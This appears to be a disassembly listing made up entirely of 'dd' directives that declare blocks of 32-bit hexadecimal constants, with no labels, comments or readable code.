		dd 0BDEC1308h, 0C6E80231h, 0ECC24918h, 6147CC61h, 766093F2h
		dd 3BECE105h, 1F6CE8C0h, 3C399078h, 0CC094233h,	0A084B274h
		dd 0BFE4D1D6h, 0C452E07Ah, 753048Eh, 80B958BAh,	237A9210h
		dd 3C3BA8C3h, 0FAFCA0DFh, 0FE50C9C3h, 932CFC04h, 8265490h
		dd 4051BC89h, 496AC3F4h, 732638BAh, 94CC092Ch, 28335405h
		dd 0E74C41E0h, 52AC4466h, 3E40124Ch, 1438298Ch,	77982A01h
		dd 5886B7DAh, 0A03F1D72h, 550A7A1Ah, 78C4A466h,	14495787h
		dd 11EC0E38h, 4078092Ah, 0D890E512h, 23485376h,	4088E02Ch
		dd 0C412F252h, 0C37E3230h, 0A59F0C58h, 0A6C8BA4h, 0A0DE0B3Dh
		dd 0D28D5A01h, 0E8607375h, 614A6AAh, 0F163AD09h, 0F231587Fh
		dd 0D5EC2808h, 10D39041h, 37338020h, 0B9D00256h, 0AD322081h
		dd 4A50719Bh, 842002F0h, 226B5CAh, 2849A392h, 899C34C6h
		dd 26B86C66h, 600EF808h, 0C5751888h, 0A1F2939h,	0A747CBDAh
		dd 0C04FA39Dh, 0CA5DA401h, 9A2A60CFh, 661DC19Eh, 75F0C474h
		dd 890F30DEh, 185D80F7h, 3A995457h, 39010E0Ah, 0FDA3F421h
		dd 5D089770h, 8F18C118h, 3CF9E874h, 19107548h, 627901BCh
		dd 0EF1DA3F5h, 459D0887h, 0A93D83F6h, 0B67D401Bh, 0EF70A118h
		dd 399A096h, 0E78DFDBCh, 2A89680Fh, 9630CC1h, 30247891h
		dd 5D10D69Dh, 0C80EFB8Fh, 8722067Dh, 1848931Dh,	32DD18B2h
		dd 3D31237Ch, 0E672968h, 4AE9608Eh, 9C6BD83h, 6B8A1DC0h
		dd 8F418CDh, 18FC11E0h,	28E03DC1h, 0A645A7Dh, 0FD06DE30h
		dd 0FC600983h, 280C9D28h, 21C01D76h, 0FE200729h, 0CE608014h
		dd 0A175776Bh, 40A0F5A0h, 0B954B81Ch, 0D90CAC5Dh, 3E991059h
		dd 3778730h, 8075FC78h,	0E0A39CEAh, 0E93844D8h,	4908A160h
		dd 1881534Ah, 28F96529h, 0A0E8F7AAh, 7420F01Eh,	0C038E218h
		dd 2178CFC8h, 28800AC9h, 87A94061h, 0F313E39h, 166D5B29h
		dd 8754A00Fh, 86C1F07h,	5C355C9Bh, 0A6DB3D00h, 3EC869C1h
		dd 260E68F0h, 45044049h, 7CC05EE3h, 6E5D3F3h, 53670690h
		dd 800E00Fh, 2BB8FA74h,	1BB9416h, 0DDA4BF1Ch, 602FC6E6h
		dd 0FF144598h, 0CE140F38h, 35A1443Ch, 922F4DC0h, 14475228h
		dd 0E8709580h, 50C0E551h, 0FF4DE6B2h, 0A5F474B8h, 10FA3C18h
		dd 1F3DC2Fh, 0FE982652h, 0D8CB0478h, 3E17492h, 7B20D8F9h
		dd 0BBB8BC79h, 0B26F58FEh, 11A08C08h, 4D1880E9h, 0FD763Eh
		dd 0F0478C3Ah, 0DA143Bh, 48F68212h, 7E6C0B95h, 9389B502h
		dd 9AB6D57Dh, 0CA098148h, 908CBE22h, 32885472h,	2147D53h
		dd 0B31E0865h, 6612004Eh, 9232DB2Dh, 3BB944h, 72A501F8h
		dd 33295C1Ch, 61953801h, 74D0D047h, 77A0CEBBh, 30111085h
		dd 0AEDC9230h, 328C7E54h, 13A704Ch, 7414E6D2h, 588CA89Ch
		dd 98F88DFCh, 197DDA3Ah, 58682438h, 18C031E5h, 478F0C2Bh
		dd 5008FCB0h, 2340753h,	0E73CC59Bh, 0AD206B7h, 224AA480h
		dd 0E41FDD01h, 0F6B858B3h, 28F2DAC0h, 3CA81564h, 0B214019Bh
		dd 0D2C02810h, 46F45BFh, 5AF280h, 4058F90Eh, 0C49FDDEDh
		dd 0A8DA1729h, 793CC60h, 9249406Fh, 0FAFC3E54h,	0F800FAB8h
		dd 30B2E758h, 52DA5FB4h, 0BA81DCD2h, 51762F70h,	4C7CB2C8h
		dd 9CE0AE10h, 3B9C920h,	0CD57BC52h, 0D08E5B5Ch,	0B701C085h
		dd 0B577CAF8h, 85F37201h, 898ADC30h, 817CA811h,	139550B1h
		dd 0F512318Ah, 4D5C04D4h
		dd 61008092h, 3056493Ch, 4FB1027Ch, 9F97CF8h, 8CF07488h
		dd 0DF985A6Dh, 90476702h, 0A0F95BBFh, 3EF45F1Ch, 0D2B4A8B0h
		dd 1C38C655h, 0D05230EDh, 0A54D8790h, 40426D22h, 1D51F2E0h
		dd 0A4DC7417h, 60402948h, 0E08F377Fh, 4920F40h,	0DC79A1EBh
		dd 0ACFC06B6h, 19703A68h, 0F0808853h, 0AFF657C0h, 9018B280h
		dd 78DC1358h, 9F040146h, 58B57D9Eh, 8408BD1Ch, 7E3F46h
		dd 0DDC2C152h, 80AECBDFh, 0B235A804h, 7202A2DEh, 1494229Fh
		dd 764C3E1Ch, 0F4400850h, 5CD414A3h, 30C03CDBh,	80A0812Ch
		dd 0BCC4C150h, 7C727000h, 78FF6C68h, 0FEB5282Eh, 29485D5h
		dd 0E9B6FF44h, 8BF0D207h, 6017DC71h, 6D98F0BEh,	0D72658FFh
		dd 12708051h, 0CEF30AB0h, 1FCCC0C7h, 1C72801Bh,	98FF6F25h
		dd 951EB547h, 9F4F48A6h, 0F888598Ah, 48502605h,	3B25E42Ch
		dd 0B624A165h, 9617788Ch, 0E24484EEh, 30E8A0F1h, 1BECA974h
		dd 33701020h, 0CA0866C8h, 28F22112h, 46E409h, 0AA0412C8h
		dd 741877CFh, 7ED80381h, 9F90AE26h, 0B73C0848h,	2A190C71h
		dd 49722864h, 0DE20287Fh, 11B09033h, 0F2600C74h, 8A0859CBh
		dd 0EF5210C0h, 3723098h, 0B8CFA903h, 6824582Fh,	9212E854h
		dd 0C8A9828h, 4B5D7691h, 0B1631270h, 463D3169h,	137C5050h
		dd 4602E4EFh, 0F9713228h, 0F0788248h, 20C13173h, 0D219FF7Ah
		dd 0EC089A8h, 845144Ch,	7E7376Ch, 0D0BFF20Ch, 0DC8648B2h
		dd 2A30CDF0h, 3E74C049h, 0BC452692h, 3C2DC870h,	0B2C0DB8Ch
		dd 1C8D3C26h, 2A030F70h, 22BC2FDAh, 548CD052h, 35605F04h
		dd 72017D53h, 3230904Bh, 4097C1BCh, 29889AFCh, 0F208D912h
		dd 1EEAE03Ah, 0A1C2D792h, 0C761CA32h, 44E61F48h, 457EC395h
		dd 0B83875DDh, 365B08E3h, 0F204ABD2h, 5D3875B6h, 85993F08h
		dd 0C892059Fh, 3D3C288Ch, 990B6018h, 7671B2C9h,	265530A2h
		dd 36E57030h, 86078E0h,	7A6BD808h, 76F820F5h, 64AC187Ch
		dd 48C5EB13h, 0D252B842h, 0F8A083A2h, 8815D8DEh, 0DA08C4D9h
		dd 0ACC0C771h, 0C9CC0F99h, 3FD0189Eh, 66785154h, 80B80964h
		dd 80EC5852h, 59190862h, 5FD8A9A1h, 2022DC61h, 7BD0F1C1h
		dd 1229844Ah, 288E14CDh, 4C194405h, 328847A5h, 0AC1C09E7h
		dd 7B248504h, 0D20F4C9Eh, 0CBB2F1C4h, 88773C44h, 5A23482h
		dd 388E9AF2h, 62085FECh, 9ADBD59h, 90200492h, 50486032h
		dd 9310F76Fh, 0A82C3452h, 7ACA1285h, 0B20C45C1h, 179C4078h
		dd 4F5B603Bh, 7635FE00h, 75CF9CF0h, 0F43103F1h,	6A4CD021h
		dd 393FEED0h, 0B69B9602h, 98D3BE84h, 107FF218h,	1D9C842h
		dd 3941C4BCh, 144CFF76h, 0A6B208FDh, 0DC00B42Dh, 7C6B2869h
		dd 0BAB90A91h, 60187B1Bh, 3B668AE5h, 5FCAD40h, 9EED7191h
		dd 891430CCh, 9B201598h, 0C41C1EB8h, 0D6DC086Bh, 8FE503EBh
		dd 3C290162h, 0FC6B4636h, 8771C42h, 5039270Ch, 12B75C06h
		dd 14D553A8h, 62967106h, 7C3251C3h, 0B01C28C4h,	10F6D464h
		dd 7ACBAC57h, 83FC993Ch, 0E96030FEh, 9EEEEFDEh,	0C601442Bh
		dd 19BB966Dh, 2366BC00h, 6B60A0Eh, 6B36860Bh, 74DE5638h
		dd 0E3436101h, 601D3C51h, 0FF142CBCh, 0A3C83BBBh, 0A7C68065h
		dd 0E7FC80C4h, 0DBBBFE03h, 0AB834F76h, 5E40B701h, 0A834D184h
		dd 0AC6681Ch, 4AE84B08h, 30C51BB8h, 9BB12C12h, 1425282Ch
		dd 83BE5ADh, 0B80FC30Fh, 814CE06h, 792F9900h, 52A5C7EFh
		dd 17A1007Ch, 14CF1FFAh, 0A91ECD18h, 0DC0EBB4Ch, 0A087878Bh
		dd 77706C40h, 0B0DF0014h, 0E0E5C59Eh, 0FE00F990h, 25FC0545h
		dd 0E2AECCh, 47C206BFh,	4D96AA4Bh, 7813AF00h, 28579C3Ah
		dd 2D5E035Ah, 0E5D1B6F9h, 99603DD3h, 439F520h, 0C525002Bh
		dd 9BC615A5h, 0CC18246Bh, 108C64C3h, 3026F8A6h,	4B186795h
		dd 9E306E74h, 64FFC950h, 46D00058h, 89D3A1A4h, 0DB07DE42h
		dd 43AB378Fh, 851BD80h,	0CF470018h, 0D3B9390Bh,	0D600F1F7h
		dd 0E23D5E72h, 77511F53h, 0DE83036Bh, 7DED78C0h, 9CD153E7h
		dd 0E2805B82h, 635DBD21h, 97AA271Dh, 0FA5AA6C0h, 0CB2E99h
		dd 0FD83E8FBh, 0E74CB795h, 3B23AF0Eh, 730B4086h, 1EB5ACFAh
		dd 0CF714083h, 62E0F1E9h, 0D5C7192Dh, 598A4900h, 44B5A677h
		dd 0D9BF000Eh, 2CDFDCEDh, 0D476C66Eh, 37104E02h, 80F7BB9Dh
		dd 7BABF2CAh, 4C410065h, 3F5518A0h, 881DDC06h, 44402D3Bh
		dd 5F29EF10h, 0D0DD0002h, 193775D9h, 0CF0048F9h, 839E3C68h
		dd 133684h, 0EB1B2E2Dh,	7B3EA6D9h, 70157600h, 0E1C5FB5Ch
		dd 9D101D12h, 7FEB8035h, 0A9D42181h, 7C1C1725h,	885C01E6h
		dd 0DC8FEE27h, 7C0001D7h, 0E85ECBDDh, 3DFFFDE3h, 93009025h
		dd 865F8C35h, 600008A3h, 27A771D7h, 4791B8h, 223B164Eh
		dd 0C550B6Eh, 0ECFC8F0Eh, 6C1A0B4h, 2401F002h, 4CCB77h
		dd 593175D1h, 42781FE1h, 0DD9D6500h, 0E0C78CF0h, 0EA9F00B5h
		dd 95C76A9h, 0AE0064ABh, 0CBC2ED54h, 7C12D049h,	0D9A5006Eh
		dd 0EBE0B003h, 79772AC7h, 0CBC8AC00h, 98DAE539h, 0A729009Ch
		dd 0C39F11AFh, 285CA24Eh, 1D530FCBh, 0F3BC6079h, 3F48862h
		dd 0C44D2FCCh, 80D83AD5h, 0DFE220FFh, 0C2A32400h, 25EA6391h
		dd 6F772Fh, 306E1395h, 9938D94Ch, 6937A400h, 0E1719470h
		dd 0BA4000A8h, 79FF45D2h, 3A2C4DB2h, 9400DB19h,	6966D6B3h
		dd 778B005Dh, 0AC933BBh, 2F48D232h, 26DB0F44h, 6A90047h
		dd 785BF1h, 648596E2h, 906DF55Ch, 0AD37E900h, 142EDE66h
		dd 717F00B7h, 0E87DC19Ah, 0E601C57Eh, 0DE37C720h, 13C4B532h
		dd 33C01D82h, 6D21C066h, 0B8405008h, 0FA786928h, 18296148h
		dd 0C5946058h, 0AF5B0042h, 8234FB36h, 0F0008853h, 93B18E3Bh
		dd 72F7B8D8h, 0C52F0025h, 2D7C0B3Eh, 0C3003491h, 0A57EC230h
		dd 0F25E76Ah, 20DA4295h, 386045E0h, 4B7B7D07h, 39D7D600h
		dd 0D1CA92FDh, 80011E87h, 0EEA680D0h, 4A5D83BCh, 0F3272400h
		dd 3A217178h, 32D7E38h,	0B843F1E2h, 75D891B7h, 7F600676h
		dd 2C884EB0h, 0D40A00C1h, 0B8D526FAh, 0A7006E3Ch, 4E755BF2h
		dd 0FB71D2h, 6DB195E5h,	0A51B1A79h, 66ED160Eh, 34F120F8h
		dd 0F41C2326h, 0F7E409B1h, 0C50097FFh, 2DBAAC79h, 31F84C00h
		dd 990DECCh, 3EA80F20h,	3A13555h, 0D4D018C1h, 2804D40Ch
		dd 0B99DE96Ch, 36D7B480h, 8A4D035Fh, 6A10A9A3h,	975457A0h
		dd 3D99C900h, 0CE06E967h, 0F3410029h, 8AA5607Ch, 45008DC1h
		dd 0E33FF28Eh, 713DE48h, 0C26659Bh, 72AF5077h, 0E83F90F7h
		dd 5FD48701h, 2ED1C9D1h, 2C309EE7h, 39CC006Dh, 0ECAFCB68h
		dd 46FC5530h, 0D4F51400h, 2475B7C2h, 73C600DBh,	5444DE80h
		dd 0A50067BEh, 5386B633h, 904011h, 31AE9734h, 2F943DA1h
		dd 0BC429A00h, 5AC102C8h, 0F1B500CCh, 0D4BBA9A8h, 760ED83Ch
		dd 80E5AAB4h, 0FB6A8658h, 0F049005Fh, 0C0ADE219h, 0A0008F91h
		dd 970C2CE8h, 66CB75h, 8BC65328h, 0EF8C6726h, 64E00F7Dh
		dd 160DF39h, 0F5C1B5DCh, 0CACC33F8h, 0C9F885h, 1DFE6BBFh
		dd 0D299F2A4h, 86508000h, 737A2026h, 35C50749h,	13837D58h
		dd 0FBA8A943h, 0B8076848h, 0A4B2BC54h, 10A5B720h, 8C6600C8h
		dd 92752C9Bh, 5E00D527h, 0C9736365h, 0CFEE22h, 0FB3A45FFh
		dd 954E4632h, 470197F8h, 9C7630Bh, 130114Bh, 8CF70083h
		dd 0C1A922C8h, 60032EBh, 0AC94C74Ah, 0A473EDCh,	0D8DA6062h
		dd 0C8550082h, 7B6929DDh, 88F4D000h, 759FD66Ah,	1562003Bh
		dd 96EEAF8Bh, 7E07C917h
		dd 0F30DACB1h, 9A1F8D50h, 5C4202D4h, 0F0C9E7Ch,	0F6801C40h
		dd 92BE6A24h, 88AFD300h, 70E66111h, 82182D23h, 0F6000DD0h
		dd 0D560265Ch, 0BE7762h, 0F31B5BFDh, 0E36CA911h, 750660Fh
		dd 0C3F1807Fh, 89832h, 38D27969h, 29551FC9h, 0BB3CE3EAh
		dd 9BE48B06h, 26DF8035h, 0FE10773Ch, 23990003h,	502852DDh
		dd 0D571AA34h, 5BFB4006h, 28A5D2h, 0D679F512h, 0A9828674h
		dd 0C3414F1Ch, 2107689Eh, 0B650FD51h, 5D8E587h,	0A4EFF10Ch
		dd 0EDC881C9h, 0E8ABF407h, 3DF8A2FCh, 66AE3Ch, 231EFC94h
		dd 1D18392h, 0FFF86372h, 0E464D668h, 0F600D570h, 8E84E579h
		dd 8C3C6Ch, 0F7ABFD9Eh,	5CD2E06h, 35D8600h, 0F1411221h
		dd 0C2CB006Ch, 0B88BC60h, 934C5B16h, 2B288050h,	0AFA817h
		dd 0CB553419h, 80EC1DFh, 3BF88E79h, 592C8400h, 6CCCACA0h
		dd 77CB07Ah, 9A724E43h,	0DD6040D7h, 3B1FDB36h, 70806133h
		dd 0AFE1D3EDh, 0C8042C71h, 0B20B0E09h, 0D0B911C0h, 8500901Eh
		dd 0B1FCF96Bh, 0A1D64998h, 0E820568Ch, 455C00D5h, 0B7646021h
		dd 0FA003999h, 4A369F94h, 26FFD10Eh, 3D1C7A1Fh,	98851115h
		dd 7E714E00h, 31B34BF3h, 5DE48B00h, 57EE511Bh, 8CF60081h
		dd 3B03AF50h, 70025A1h,	0A6A95646h, 0E262D3h, 8E583A0Bh
		dd 24CFD7C1h, 4C426500h, 959B7CBFh, 2C9100A0h, 0E2B00609h
		dd 0CE7D5EEFh, 8115613h, 0DB409401h, 68C0A854h,	34ECDDh
		dd 1FFE922Bh, 0F4BF24BDh, 8009198h, 7BCB7ADCh, 0B32D3h
		dd 49665FF1h, 18DB4724h, 0B900E5E6h, 8D59E7A3h,	77C17D3h
		dd 6BBCC310h, 0F1FD05Ch, 0A1F8B83Dh, 7A777E00h,	813463D6h
		dd 9DBE00DEh, 9755FE62h, 29007293h, 1F2185E2h, 700F6C2Ah
		dd 3BBCB0D3h, 0A68075DBh, 130DAE23h, 73004DBCh,	4837D829h
		dd 0BCAF3FEh, 0FBA08DB3h, 8BAFDC21h, 14B180A2h,	17847E3Ah
		dd 867074Fh, 0C0B14907h, 74E5720Ah, 5C55A401h, 445BEF42h
		dd 25256E0h, 0C64B7167h, 0C1D550FDh, 0FCD06E2Fh, 64441E29h
		dd 0F2908056h, 7D7FD0F8h, 992EF7F6h, 0E8000EBCh, 2F6A2082h
		dd 0AFCD003Ch, 0D60A7816h, 9AE2772Eh, 9C5E7D00h, 0B389BBC0h
		dd 9B1512E9h, 7B2400D7h, 0F9C7DC1Bh, 0FA3E7963h, 983780E5h
		dd 342600FEh, 7142A56Ah, 6C00CABCh, 0CDB186Eh, 308C04h
		dd 0E2D4FE9h, 0B92B3A2Eh, 0FC35D500h, 636FD01Dh, 0F14D007Bh
		dd 0BA0BC882h, 0FA000688h, 8D37FFFDh, 28192F68h, 9CD052h
		dd 0A7945E0Ch, 0C1DD2EA9h, 40C5F51h, 0C7047EC4h, 0A8D0B0C3h
		dd 0B8DFA312h, 0E0BF00E0h, 5D827784h, 0D93095F7h, 4AB3301Bh
		dd 0F898FDh, 0C615A6F5h, 0CEDDF0F9h, 34199F68h,	1C2190D1h
		dd 2E824C0Ah, 90807ADFh, 0B99B03ECh, 0B4FEAA0Fh, 839E8E75h
		dd 0E105C0B3h, 0C417DF7h, 0B508A0DEh, 8FD3F22h,	0C14BB062h
		dd 0BE465502h, 0AF3A02B7h, 44F2D210h, 7231B6BDh, 906049B4h
		dd 0BAB50C47h, 1842300Ah, 4CA46E86h, 76582849h,	828A2848h
		dd 0A3F5210Ch, 30103E0Ah, 0CAF590Ah, 188D860Ah,	30F1960Ah
		dd 0FB0E0200h, 301AD1h,	1F13B3A4h, 0BB53CF24h, 18D06330h
		dd 41DA8D6Eh, 0FA1BE81Ch, 0CE331CAh, 6532FF86h,	0F4B81931h
		dd 507B4911h, 0D2F7E718h, 440C2F88h, 0E1503862h, 0A42AB0Ch
		dd 0E7335748h, 60C66719h, 91334801h, 22CE6F0Dh,	30A652F0h
		dd 5D18D1F9h, 0BE899A35h, 3A764980h, 9DFF85DEh,	61B4600h
		dd 0C03CCF0h, 2E9A003Fh, 0D98EF757h, 0EE008B7Dh, 9FA3B583h
		dd 5D554Dh, 71990A75h, 52D5FB28h, 40E7DE30h, 1F54EB8Ah
		dd 3C098C9h, 0A92A471Ch, 4F3BE905h, 8C0073C7h, 6EC4D08Dh
		dd 0B58E0050h, 0E8EE78ECh, 0E430CAACh, 0E37BA1A9h, 8997071Dh
		dd 0C0CBE120h, 5AF904DCh, 3858C1E4h, 0C9AA0043h, 8D056DE6h
		dd 0FF55B884h, 0B2F045E9h, 3AB29D5h, 0C4FD511Ch, 55E2F46Eh
		dd 5FA02205h, 7280811Ch, 0A8633Eh, 18CE6DE3h, 19CB9813h
		dd 98FBB930h, 60859CB1h, 0EA42585Bh, 0F8016D15h, 44B3475Fh
		dd 37DCAA1Ah, 30D93B1Dh, 1BFBE103h, 8CC04D81h, 2A00C16Dh
		dd 0E17CCA5h, 2A75D368h, 1144B07h, 97FF014Fh, 4004D9AFh
		dd 0E107CB34h, 4D96C607h, 819074B9h, 0EE9591h, 0A5AD4770h
		dd 23228441h, 0F5AFE000h, 8DE9452Ch, 331E64Bh, 0DBD0E102h
		dd 0D8A80653h, 0D9989DB3h, 9A942950h, 0B661BE00h, 5F7C5CF5h
		dd 0FC9104B7h, 0BBABCC8Eh, 171C5CECh, 0C653C0EBh, 0FA24E983h
		dd 0A4B78700h, 5F9956CCh, 0B5A903DAh, 0C0BC95DCh, 205E12A0h
		dd 69717C00h, 570A8289h, 87AB0092h, 0D85FA909h,	0ACE0596Ch
		dd 78C9D2Eh, 6295500h, 0BBF935h, 3251871h, 0DD14F86Ah
		dd 303AE507h, 1C838CC6h, 0A810007Ch, 0A04D67BDh, 1000B778h
		dd 4AE487DCh, 36FCC16h,	0AD1B97D6h, 1800C294h, 73BB9628h
		dd 1CCEA27h, 0C3A0337Fh, 0D0A2406Dh, 0EB7C28E5h, 0A37E431Fh
		dd 5020B500h, 6DFA4B0h,	0D89E5B59h, 6B6F30A1h, 0DD650069h
		dd 0C6174Dh, 0A61B68CDh, 0A047B7F7h, 9D4887FAh,	6C9724F7h
		dd 0A86E620Ch, 1B8E0333h, 3BE115E3h, 0D19E8000h, 7438E075h
		dd 4C5EEA46h, 640E21A8h, 2F40C79Dh, 9B4754E7h, 902419C0h
		dd 0A0E4A74Bh, 2423788h, 0AA324168h, 36E1E2E5h,	4AF180FBh
		dd 0E72CEB0Bh, 5FAD3AE0h, 3AF12300h, 901218F8h,	0CBA053FCh
		dd 0F9A07B17h, 107C0D64h, 89DC6800h, 0AB5E9A57h, 590A017Fh
		dd 0D3F82C34h, 6EBC427Dh, 0C0657CE1h, 84B8BE8Ah, 3016DEEh
		dd 909D2AF6h, 0D85066ABh, 7969DADFh, 7D1AE641h,	74611C6Eh
		dd 0C2BA4C23h, 17007ED0h, 0DE5D0C8Ch, 717F70h, 0DCBBA25Fh
		dd 52CBA1CDh, 0F3B5BCA8h, 5E5CE600h, 6C295642h,	70F9607Bh
		dd 38C92568h, 3002B92Bh, 6D18B782h, 99903870h, 0B05C0090h
		dd 0E5F840E5h, 9D246CE2h, 0D00480Eh, 20DB7675h,	1710070h
		dd 2519A5F4h, 53053A42h, 39ED5C80h, 0B72BE007h,	59ADB370h
		dd 666B24BDh, 0BF2A0359h, 70077285h, 640EECA3h,	1307D350h
		dd 0ABC7006Ah, 2CAF917Eh, 150C391Bh, 514EC8CDh,	83A20072h
		dd 9DC5CF49h, 0A0A07D17h, 9104A5Ch, 240046A1h, 8A5DCFF2h
		dd 520F4986h, 0E416145Fh, 480C0C4h, 0A4CDDFh, 91363C68h
		dd 0BEBCCF1Fh, 50DBEB24h, 79BB4C86h, 105406A1h,	0F8933FE5h
		dd 0E11F1202h, 45381815h, 20813C50h, 2969B4DCh,	4880F29Dh
		dd 0F735C41h, 5AB0BD07h, 0F660E2E4h, 24F3F8Ch, 0B1216A90h
		dd 9C4850E6h, 261DA8A4h, 0C9809CEDh, 0FDC8CAA1h, 837E057Ah
		dd 414D6629h, 0D719F584h, 0C998804Fh, 0D213A715h, 0ECA954D1h
		dd 0CC9C180Ah, 15DBD0C6h, 0B0A2CB31h, 6310771Ah, 0A3542205h
		dd 680332FCh, 2B9A4AB8h, 2646D13Fh, 42034032h, 60483467h
		dd 809384B7h, 0FA396908h, 73BA21C0h, 90D595ABh,	0EB385130h
		dd 71C4A2C8h, 2118A147h, 4C120D08h, 2000D66Ch, 0E5F4BF6Ah
		dd 1034917Dh, 0DC038027h, 0AE92F6Bh, 0C189F2BFh, 0EB00BDD0h
		dd 7FBC4E4h, 46770286h,	0F24181F5h, 36BE1776h, 21E0842h
		dd 663093E1h, 637F86A2h, 398F748h, 4F67085h, 0EC080754h
		dd 0A5D743B6h, 0C5BC002Fh, 9851C9B8h, 96BA0700h, 42AC0DE3h
		dd 263D0070h, 6F534F62h, 200D3A8Ch, 0B0AF8EAAh,	4D068BCh
		dd 20C0643h, 1967A179h,	0DB75150Ah, 4682A0F6h, 80DF3214h
		dd 0DD72ACE4h, 0E0175441h, 22D43862h, 0A32DE383h, 92BF7BC0h
		dd 7C403BBEh, 0F2004EDCh, 3344E84Dh, 10AD38Dh, 9D08FC36h
		dd 2702F3F4h, 0A5770A20h
		dd 0B692C8ADh, 0D2530421h, 9050F2DDh, 0B0B1BC39h, 7C010338h
		dd 4E36E305h, 73D000B5h, 2C18B86h, 3500D490h, 0F3BEB9FDh
		dd 0C0476E2Dh, 4165851h, 5200622Ch, 0D6871B18h,	0F1637ECEh
		dd 4A7D80F3h, 152C0232h, 0E4B4B04Dh, 98B230A2h,	50BC44C9h
		dd 76E15E48h, 6D3B501h,	813EE0A4h, 68FD024h, 0C9F9F515h
		dd 0CB073987h, 166FB11Fh, 0D0F292C0h, 30C0074h,	3C45028Ah
		dd 7EF69C28h, 19E36605h, 0A200FF91h, 70D656A1h,	0FE1B3B01h
		dd 0B86DF784h, 0DBA0806Eh, 38037109h, 0B933845Ch, 0B4680B30h
		dd 30004826h, 0FD6310DCh, 83A90C00h, 504FDA18h,	0BB7A92h
		dd 0E5857E54h, 0B190339Dh, 1090C5E6h, 0C7C4AD00h, 5697C6AEh
		dd 7CD6016Dh, 0CC5217BBh, 62642464h, 0C6AA8D00h, 2BAD9B40h
		dd 0FFA91C39h, 6A0E4035h, 5D7DABB4h, 6B2D8400h,	0BE2C9227h
		dd 0B3410126h, 1EAA28D1h, 571084A2h, 0A490ECD5h, 485BE2B1h
		dd 0E40040B9h, 0E5B2D855h, 612C4292h, 1B0098EBh, 0F73F6076h
		dd 0DFFA7Fh, 0F21402C8h, 55A95C2Bh, 0BB2DAB00h,	0B453BA04h
		dd 477209D3h, 0EB834B9Ch, 30E6C6C8h, 9F007D70h,	0D7BDBB1Dh
		dd 18BB1B8h, 9432A0F6h,	0F40D3B86h, 5D071097h, 0A21AC22Eh
		dd 17A300F9h, 7F35C89h,	0BA05564Ah, 0E5F123F4h,	0C23480F8h
		dd 0FD00E77Ah, 7C5802DBh, 5C2623h, 6D540952h, 1D137D65h
		dd 0A1782967h, 6126B270h, 73B600D1h, 0D02D3C4Ch, 0F905E375h
		dd 0CA7FC701h, 35D15800h, 2F1E5AFCh, 9FD0818Ah,	0B2255B1Fh
		dd 0B89A6980h, 6773E7h,	0D7EF631Ch, 0E57119A4h,	305EFB00h
		dd 253F298Fh, 8FC9588Eh, 0BE54140Eh, 0D1813340h, 0E201AF61h
		dd 0D6C2576h, 1AFD9D4Dh, 0BECF60h, 0A98B595Fh, 0EE64917Ah
		dd 0DAFE63FAh, 79F67800h, 905DD675h, 0F8AA0001h, 37472F2Eh
		dd 7004017h, 5F2679B9h,	0EA7450h, 1022CD11h, 1946DA30h
		dd 0C8F0C7FCh, 8008D46Fh, 0B9CD340Eh, 0A0770365h, 8BC2B8D2h
		dd 9AC5EDB8h, 87AB100h,	0C767A4DEh, 6EB50327h, 0EC64B4Ch
		dd 0D89D2FB8h, 336BD00h, 5014DDA9h, 2D183EA7h, 560D380h
		dd 0C6B8657Eh, 0B77ACF00h, 5941ED0Ch, 377E4ACh,	7F196C7Dh
		dd 60E87C74h, 9A00A822h, 0F93D2E83h, 1D4562h, 304A2AAAh
		dd 0A9E2103Fh, 8981CA00h, 77CB113Ch, 72AF2C9h, 0E62931ACh
		dd 15284C85h, 60652E00h, 0F5D1E04Dh, 0D0A33ACAh, 0F23D4C18h
		dd 63009DFBh, 4BA4248Ch, 17FE2Bh, 0BE692708h, 0C9391020h
		dd 0AC0B6673h, 807B92F3h, 4C74BA20h, 0CF90E21h,	0ADA2301Bh
		dd 93C0BF7Eh, 11063EF0h, 0E7D60D2Bh, 22C4691h, 0FD037CE5h
		dd 8A001C09h, 9C2B62D5h, 0A82365h, 2F37F481h, 5C9DBDC6h
		dd 741D480Fh, 50C8418Ah, 836035D7h, 0C2E4000Eh,	98AE306Eh
		dd 4C001062h, 0A6EC748Bh, 1CF0EE9Dh, 80D94FDFh,	9E42E846h
		dd 400DBCCh, 0B35B9F6Ah, 32A31BBh, 8E5627Eh, 0F0E70240h
		dd 0B66313EFh, 331BA100h, 5E4B5C43h, 0DD200FAh,	8467761Ah
		dd 0B80047BFh, 0B487E607h, 4CA8DFC6h, 2E0EE9C9h, 0E2213BB6h
		dd 0F8BAD608h, 0B004C01h, 98F051A5h, 35585Ch, 56CA4BF2h
		dd 0DBB5CF0Fh, 4249E305h, 468FC60h, 0AD4702EDh,	3F3DF6E0h
		dd 2B7B22E0h, 0FA4E111Bh, 31C8020h, 0E97401C2h,	43F2F565h
		dd 808DD164h, 91BDB61h,	72D556Ch, 98A4366Ah, 0D78D10EAh
		dd 2300795Fh, 0AA42482Eh, 0FFCE03h, 8BC8EF88h, 3736A9F4h
		dd 9F4B3100h, 56FAEED6h, 0DAE601DDh, 7B8D5541h,	1E44486Dh
		dd 0FE80308h, 374CCFF9h, 1D002160h, 0EA570E09h,	1506FF4h
		dd 3645C152h, 0DFF05FAEh, 1F597680h, 2805BE06h,	29100142h
		dd 503472BAh, 2863070h,	0BEC3139Ch, 0A4A00F60h,	0C6EB885Eh
		dd 0FA20D700h, 96E3B09Ch, 0E7DB05A7h, 4019287Bh, 0B1763984h
		dd 0E173118Fh, 6E00F974h, 1EECDE73h, 0E8EC69Bh,	0CD3E721Ch
		dd 6A10E9A0h, 0BE342AE3h, 2480680Dh, 0A0593579h, 209DE0h
		dd 775B32B6h, 4E29787Fh, 6E41D807h, 0F5223112h,	0BCF4A03Dh
		dd 39CA2A3h, 831E15FFh,	37C881C4h, 0B00F5812h, 2074DF93h
		dd 8082D964h, 0E559024Fh, 0A71F9D6Dh, 5AF29CA0h, 3F00AFADh
		dd 0A2DB6F5Bh, 0A4E3B8CDh, 493078ACh, 0A9002C40h, 0C2D616DFh
		dd 8201C872h, 8122B529h, 20804426h, 0BFB1E989h,	0C13CF10Eh
		dd 733BD16h, 9C707FC6h,	8242ECC2h, 182FCFCCh, 6083F90h
		dd 6267090Eh, 400F47E9h, 11DF3F8Fh, 542902D7h, 57EC94D2h
		dd 50D380A7h, 793340C4h, 14790248h, 0CA8F89Ch, 0B8DBBBB6h
		dd 9E911D5Ch, 54808106h, 8CFAAF0Fh, 48A93308h, 7CAE2BCh
		dd 471386A1h, 0D9B3B02Fh, 677E18C3h, 9C22AC00h,	7314B949h
